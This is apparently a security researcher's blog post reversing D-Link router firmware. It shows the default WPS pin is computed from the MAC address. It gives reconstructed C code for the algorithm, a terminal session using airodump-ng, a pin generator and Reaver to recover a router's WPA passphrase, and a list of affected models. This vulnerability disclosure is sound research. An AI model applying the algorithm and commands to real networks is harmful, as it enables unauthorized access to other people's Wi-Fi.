Reversing D-Link’s WPS Pin Algorithm – /dev/ttyS0

While perusing the latest firmware for D-Link’s DIR-810L 80211ac router, I found an interesting bit of code in sbin/ncc, a binary which provides back-end services used by many other processes on the device, including the HTTP and UPnP servers:

Call to sub_4D56F8 from getWPSPinCode

Call to sub_4D56F8 from getWPSPinCode

I first began examining this particular piece of code with the hopes of controlling part of the format string that is passed to __system. However, this data proved not to be user controllable, as the value placed in the format string is the default WPS pin for the router.

The default WPS pin itself is retrieved via a call to sub_4D56F8. Since the WPS pin is typically programmed into NVRAM at the factory, one might expect sub_4D56F8 to simply be performing some NVRAM queries, but that is not the case:

The beginning of sub_4D56F8

The beginning of sub_4D56F8

This code isn’t retrieving a WPS pin at all, but instead is grabbing the router’s WAN MAC address. The MAC address is then split into its OUI and NIC components, and a tedious set of multiplications, xors, and shifts ensues (full disassembly listing here):

Break out the MAC and start munging the NIC

Break out the MAC and start munging the NIC

More NIC munging

While the math being performed is not complicated, determining the original programmer’s intent is not necessarily straightforward due to the assembly generated by the compiler. Take the following instruction sequence for example:

li $v0, 0x38E38E39
multu $a3, $v0
mfhi $v0
srl $v0, 1

Directly converted into C, this reads:

v0 = ((a3 * 0x38E38E39) >> 32) >> 1;

Which is just a fancy way of dividing by 9:

v0 = a3 / 9;

Likewise, most multiplication and modulus operations are also performed by various sequences of shifts, additions, and subtractions. The multu assembly instruction is only used for the above example where the high 32 bits of a product are needed, and there is nary a divu in sight.

However, after translating the entire sub_4D56F8 disassembly listing into a more palatable format, it’s obvious that this code is using a simple algorithm to generate the default WPS pin entirely from the NIC portion of the device’s WAN MAC address:

unsigned int generate_default_pin(char *buf)
    char *mac;
    char mac_address[32] = { 0 };
    unsigned int oui, nic, pin;

    /* Get a pointer to the WAN MAC address */
    mac = lockAndGetInfo_log()->wan_mac_address;

     * Create a local, NULL-terminated copy of the WAN MAC (simplified from
     * the original code's sprintf/memmove loop).
    sprintf(mac_address, "%c%c%c%c%c%c%c%c%c%c%c%c", mac[0],

     * Convert the OUI and NIC portions of the MAC address to integer values.
     * OUI is unused, just need the NIC.
    sscanf(mac_address, "%06X%06X", &oui, &nic);

    /* Do some XOR munging of the NIC. */
    pin = (nic ^ 0x55AA55);
    pin = pin ^ (((pin & 0x0F) << 4) +
                 ((pin & 0x0F) << 8) +
                 ((pin & 0x0F) << 12) +
                 ((pin & 0x0F) << 16) +
                 ((pin & 0x0F) << 20));
     * The largest possible remainder for any value divided by 10,000,000
     * is 9,999,999 (7 digits). The smallest possible remainder is, obviously, 0.
     pin = pin % 10000000;
    /* The pin needs to be at least 7 digits long */
    if(pin < 1000000)
         * The largest possible remainder for any value divided by 9 is
         * 8; hence this adds at most 9,000,000 to the pin value, and at
         * least 1,000,000. This guarantees that the pin will be 7 digits
         * long, and also means that it won't start with a 0.
        pin += ((pin % 9) * 1000000) + 1000000;
     * The final 8 digit pin is the 7 digit value just computed, plus a
     * checksum digit. Note that in the disassembly, the wps_pin_checksum
     * function is inlined (it's just the standard WPS checksum implementation).
    pin = ((pin * 10) + wps_pin_checksum(pin));

    sprintf(buf, "%08d", pin);
    return pin;

Since the BSSID is only off-by-one from the WAN MAC, we can easily calculate any DIR-810L’s WPS pin just from a passive packet capture:

$ sudo airodump-ng mon0 -c 4

 CH  4 ][ Elapsed: 0 s ][ 2014-09-11 11:44 ][ fixed channel mon0: -1 
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
C0:A0:BB:EF:B3:D6  -13   0        6        0    0   4  54e  WPA2 CCMP   PSK  dlink-B3D6 

$ ./pingen C0:A0:BB:EF:B3:D7   # <--- WAN MAC is BSSID+1
Default Pin: 99767389

$ sudo reaver -i mon0 -b C0:A0:BB:EF:B3:D6 -c 4 -p 99767389

Reaver v1.4 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>

[+] Waiting for beacon from C0:A0:BB:EF:B3:D6
[+] Associated with C0:A0:BB:EF:B3:D6 (ESSID: dlink-B3D6)
[+] WPS PIN: '99767389'
[+] WPA PSK: 'hluig79268'
[+] AP SSID: 'dlink-B3D6'

But the DIR-810L isn’t the only device to use this algorithm. In fact, it appears to have been in use for some time, dating all the way back to 2007 when WPS was first introduced. The following is an – I’m sure – incomplete list of affected and unaffected devices:

Confirmed Affected:

  1. DIR-810L
  2. DIR-826L
  3. DIR-632
  4. DHP-1320
  5. DIR-835
  6. DIR-615 revs: B2, C1, E1, E3
  7. DIR-657
  8. DIR-827
  9. DIR-857
  10. DIR-451
  11. DIR-655 revs: A3, A4, B1
  12. DIR-825 revs: A1, B1
  13. DIR-651
  14. DIR-855
  15. DIR-628
  16. DGL-4500
  17. DIR-601 revs: A1, B1
  18. DIR-836L
  19. DIR-808L
  20. DIR-636L
  21. DAP-1350
  22. DAP-1555

Confirmed Unaffected:

  1. DIR-815
  2. DIR-505L
  3. DIR-300
  4. DIR-850L
  5. DIR-412
  6. DIR-600
  7. DIR-685
  8. DIR-817LW
  9. DIR-818LW
  10. DIR-803
  11. DIR-845L
  12. DIR-816L
  13. DIR-860L
  14. DIR-645
  15. DIR-685
  16. DAP-1522

Some affected devices, like the DIR-810L, generate the WPS pin from the WAN MAC; most generate it from the BSSID. A stand-alone tool implementing this algorithm can be found here, and has already been rolled into the latest Reaver Pro.

Bookmark the permalink.

Comments are closed.